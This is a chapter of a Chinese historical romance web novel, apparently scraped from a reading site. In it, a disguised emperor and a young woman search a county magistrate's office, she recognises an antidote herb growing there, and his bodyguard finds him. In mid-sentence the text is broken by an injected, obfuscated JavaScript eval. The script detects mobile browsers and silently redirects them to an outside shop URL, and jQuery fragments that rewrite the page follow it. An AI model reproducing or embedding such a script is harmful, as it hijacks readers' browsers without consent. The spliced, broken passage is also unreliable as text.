原来县令老头叫王清和啊!我一个本地人都不清楚,星儿是怎么知道的?
那小差役接过文书没怎么细看便被来者冲天的气势唬住,慌张得手足无措,又是拱手作揖,又是点头哈腰,忙个不停。
闻朝溪偷笑,看他那神气的模样还真像个权倾朝野的高官呢!
“二位上官稍坐片刻,我家县太爷不在府上,县丞也恰逢休沐。要不等县太爷他老人家回来再带二位……”
“不在正好!”星儿就抬脚往里走,闻朝溪紧紧跟在身后,“免得有空藏匿罪证,只怕到时候说不清楚!”
差役不敢阻拦,只能在前引路。
“先从后宅查起!”星儿盛气凌人地下达指令,那差役连声答应。
县衙主宅是两进的院落,每月被闻朝溪趴墙根的是最里面那处大院。二人径直往内走,却撞见昨日那泼妇。
“周年!这哪儿来的两个小白脸?你别什么外人都往我家里带啊!”妇人狠狠剜了闻朝溪一眼。
小白脸?闻朝溪听到这三个字却激动得想平地起舞!
从小到大旁人对她外貌的形容只有两种:丑女和丑八怪。
她还是第一次听到有人叫她“小白脸”呢!这不就是夸她长得好看吗!原来没了胎记我也算是个美人儿呢。
“咳咳。”星儿死死瞪住她,加重咳嗽了两声。
她一得意就忘形,双脚在地上打起了节拍,险些露馅儿。
那叫周年的衙差对夫人耳语了老半天,她才不耐烦地摆手放三人离开。
“我去屋内找箱子,姐姐看看院子里是否有蹊跷。”闻朝溪虽天天熬夜苦读,但毕竟才学几日,识字不多,若是这县令真与他人在做交易,定不乏书信往来。
刚踏入书房,角落里叠放的六个大铁箱便赫然入目,与那夜黑衣人抬走的一模一样。
“这是何物?打开看看!”星儿刻意试探这周年是否知情,他却一头雾水地挠了挠后脑勺:“我很少来书房,啥时候多了这么几个箱子啊?”
好在铁箱并未上锁,周年蹑手蹑脚地将上盖掀开,星儿凑近一看,里面居然空无一物!
他眸色一沉,心头掠过丝失落,不过为谨慎起见,还是命周年将剩下五个箱子一一打开来,意料之中全是空的。
看来王清和十分谨慎,要等到黑衣人来之前才会将东西装进去。
他将书房里的书稿、册子、信件全都细细翻查了一遍,皆是些寻常文书,没有暗夜运货的半点线索。
“周年,你过来,我有话问你!”屋外传来姐姐焦急的呼喊声。
她半蹲着,眉心紧蹙,手中捻着几片绿油油的叶子:“这是县太爷种的?”
“这不就是野草吗?长势可好了!无论烈日还是暴雪都弄不死这些玩意儿,一个月就能蹿半丈高,怎么割都割不完!院子外还有一大块儿地呢,全都长满了这种杂草!应该不是谁刻意种的吧,只不过没办法彻底清除干净就任由它在院内疯长,大人,有何不妥吗?”
“不妥?”闻朝溪立起身子,脸色苍白有如冬日冰面,眸底却染上一片腥红,“这根本就不是什么野草,这是……”
“闭嘴!我们该走了!”星儿冲出来牵起她的手就往县衙门口疾行,他能清晰感受到身旁姐姐的呼吸声愈加沉重,种在院子里的究竟是何物,能让她失了理智?
“老爷,这天儿还早呢,我们多逛会儿再回去吧……”这如流水般清澈动听的声音是翠儿!
星儿带着闻朝溪刚欲出门,就见翠儿搀扶着县太爷朝这边走来。
糟了!怎么这么快就回来了,这要是撞上,两人假“钦使”的身份可就瞒不住了!
他急得额头微微冒出冷汗,眼下这节骨眼即使亮出身份,穿着这身假官服还冒名搜查,也很难让人相信他是微服私访的翎国皇帝!
偏偏姐姐从刚才起就失了魂,喊也不应,拉也不走,双眼迷离无神,像是傻了似的。
眼看着就连翠儿使尽浑身解数撒娇都没用,县太爷非要回县衙,身后又有周年堵着,他也没办法像姐姐之前那样翻墙逃跑,难不成真要被当犯人给抓起来了?
“哎哟,好痛!”县太爷一个踉跄没站稳摔在了地上,正屈身抱着膝盖哀嚎,周年看老头摔了一跤,赶紧冲出去献殷勤。
“真是天赐良机!”星儿不带半分犹豫,拉起发呆的闻朝溪沿着墙根脚底抹油溜了出去,抄小路顺利离开了县城。
“姐姐,你究竟发现了什么?”星儿张开五根手指在闻朝溪眼前来回挥舞着,可她还是一言不发,神情恍惚。
他慌了神,用力掐了掐闻朝溪的脸:“姐姐你别吓我,到底出什么事了?再不说话,我可亲你了!”
他噘起嘴就往闻朝溪唇边而去,却被姐姐抬手挡开。
“好你个无赖,乘人之危是吧!”闻朝溪嘴角绽开暖暖笑意,“不过真要多谢你,今天这趟没白来!王清和果然和五年前的村民中毒之事脱不了干系!”
“怎么说?”
“院中所长的并不是什么野草,而是我最熟悉不过的东西,我闭着眼都不会认错!因为那是爹娘吃了十年的解药——百须草!”她眼中复仇的火焰再次燃起。
星儿总算明白姐姐在县衙时为何会突然发飙。十年前毒是在县衙中的,现如今却发现解药居然也在县衙!怎么看这王清和都是中毒事件的始作俑者。
“周年说那野草一月就能长半丈多,正好对上黑衣人前来运货的周期,抬走的铁箱里装的十有八九就是院里种的百须草!此药价值昂贵,若是王清和害的不止我们坞村之人,还有邻县的乡亲们也中了毒,他不就可以将这些药高价卖给各地药铺,从中牟取暴利了吗!”
星儿总觉得此事透着古怪,他遇刺前京中也突发数十起古怪的疫病,不过症状与闻家父母不尽相同,受害者中暂时无人丧生——他当初正是借着追查此案的由头出了宫……
“咻咻……”左
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968671|214610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
侧林中突然传来两声熟悉的口哨——这是他与卫长青约定的暗号。
他找来了?我是何时暴露的?
按理说我如今体形大变,无论是杀手还是亲卫都很难认出来,他是怎么找到这偏远小镇来的?
“哎哟,我肚子疼!姐姐先回去吧,我去林间解决好了就来!”
闻朝溪除了流露些担忧神色外没起任何疑心,关心了两句便离开了。
一道黑影从天而降,稳稳落在星儿面前,男子剑眉星目,腰背挺括,脸部棱角锋利如刀,双目乌黑沉冷,带着不属于这个年纪的老成。
黑衣人扑通”一声跪在地上,声音带着哭腔:“陛下!卫长青救驾来迟,罪该万死!”
“好了,长青,当日不是你的错,是我刻意逃开……算了,先不说这个,我如今这副模样,比从前瘦了近两百斤,你是怎么认出我的?”
他字里行间都透着得意,卫长青自小便是他的贴身侍卫,不仅武功高强,还有着壮硕挺拔的完美身材,站在他这个胖皇帝身边更显英俊潇洒,就连他的妃子都时不时多看他两眼,每每让他嫉妒得发狂。
如今他终于瘦下来,虽比不上卫长青魁梧彪悍,但至少也算个长身玉立的翩翩公子,容貌俊朗可不输这侍卫。
“南县县衙一个时辰前接到报案,殓了具尸首,那人穿着陛下您失踪那日的衣服,我得到消息即刻赶了过去,却发现不是您。正准备离开时看见有两个人鬼鬼祟祟躲在县衙门口,我仔细一瞧,才发觉居然是陛下您!看您身着官服,似乎不愿被县令发现,这才用石头打中那老头子膝盖,给您制造逃跑契机……”
原来是有他相助,还以为是巧合呢!难怪好色县令会一反常态急着回府,敢情是出了人命案子!
“您找到‘灵渠’了?是您身边那位姑娘……”
他沉默不言,不肯承认。
“预言说过‘灵渠’留不得,我去替您杀了她!”卫长青冒着寒光的长剑已出,欲往闻朝溪方向而去。
“长青住手!你要杀她就先杀了我!”他神情中带着“舍命陪君子”的决绝。
卫长青长剑一收,撇了撇嘴,“哐当”一声砸在地上:“陛下从前不是一直钟情于怡妃娘娘,太后塞进后宫的秀女转头又被您偷偷送回了家,如今怎么转性了?”
“她不一样……”
他不知为何心里总是有些忐忑,刚才卫长青的话里好像有一句十分重要,却一晃而过怎么也想不起来……
“陛下何不将‘灵渠’带回宫,放在眼皮子底下总好过放虎归山。”卫长青眼角无奈上挑,看圣上一副纵情山水不愿回宫的样子,不会是真不想做皇帝了吧?
以前总以为他是在说玩笑话,如今看来竟带着几分真意。
一想到能娶她,他心中便升起无尽暖意:“那也得她和闻家人同意才行……等等,说到闻家人……你刚才是不是提到有人穿着我的衣服被刺客误杀?尸身如今还停在县衙?”